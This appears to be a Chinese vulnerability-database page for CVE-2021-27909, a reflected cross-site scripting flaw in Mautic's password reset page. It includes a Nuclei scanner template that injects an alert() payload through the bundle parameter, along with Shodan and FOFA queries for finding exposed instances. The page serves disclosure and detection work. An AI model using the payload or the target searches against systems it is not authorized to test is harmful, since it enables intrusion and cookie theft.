CVE-2021-27909: Mautic <3.3.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Mautic | POC: 已公开

漏洞描述

Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.

PoC代码[已公开]

id: CVE-2021-27909

info:
  name: Mautic <3.3.4 - Cross-Site Scripting
  author: kiransau
  severity: medium
  description: Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27909
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27909
    cwe-id: CWE-79
    epss-score: 0.09701
    epss-percentile: 0.9264
    cpe: cpe:2.3:a:acquia:mautic:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acquia
    product: mautic
    shodan-query:
      - title:"Mautic"
      - http.title:"mautic"
    fofa-query: title="mautic"
    google-query: intitle:"mautic"
  tags: cve2021,cve,mautic,xss,acquia

http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'';alert(document.domain);var ok='"
          - 'mauticBasePath'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d64b575726907a7a5bd3bb9ae077f10c9d6e77c880b1bc64681e030f72f3beb202205ef3314951b2a9547aa8755ac29c692e91aa43d039e62f34cfcececdfbc92ffc:922c64590222798bb761d5b6d8e72950

相关漏洞推荐